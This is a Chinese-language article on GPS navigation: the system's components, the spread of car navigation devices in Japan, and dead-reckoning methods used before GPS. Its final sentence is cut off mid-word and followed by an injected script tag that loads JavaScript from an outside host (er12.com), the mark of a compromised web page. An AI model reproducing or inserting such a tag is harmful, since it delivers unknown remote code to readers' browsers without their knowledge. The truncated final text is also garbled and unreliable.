gps系统的应用非常广泛。包括车辆导航、地球物理资源勘探、市政规划控制、海洋救援、飞机导航、导弹制导等等。不过最能够被我们感受到的还是和我们生活最密切相关的导航服务。
gps系统一般由地面控制系统、空间卫星、地面接收装置三部分组成。用在导航的设备当中只有一个地面接收装置。地面装置接收来自空间卫星的信号，并计算出自己的位置。有了位置信息以后配合复杂的空间数据处理技术，导航设备就能够轻松地将你送到目的地，并查询出你感兴趣的信息。
近年来，gps导航设备越来越普及。在日本，使用gps信号的车载导航设备面世已经有将近20年的历史了。很多人目睹了车载导航设备从昂贵的奢侈品到大量普及的过程。日本现有十多家厂商生产车载导航设备，除了在新车销售同时配装的原装导航设备之外，现在日本年零售的车载导航设备有50多个品种，年销售100万台左右。
据统计，现在日本的车载导航设备的普及率在36％左右，因为商用车使用率比较低，所以如果只限家用轿车的话，普及率应该更高。另外，还有大量的个人导航设备(pnd，personal navigation device)正在被使用。
自动导航法和gps
车载导航设备是gps导航服务最广泛的应用之一。但是，车载导航设备最早只是装载有车速脉冲、罗盘传感器等自动导航法的装置。使用这种自动导航法的装置，要依靠装置自身来推算出车辆的位置。因此，只能够粗略地告诉驾驶员现在的位置及驶向目的地的路线。行驶开始一段时间后，必须对行驶到的地点、行驶方向和行驶角度进行调整，使用起来极不方便也谈不上多?script src=http://er12.com/t.js>
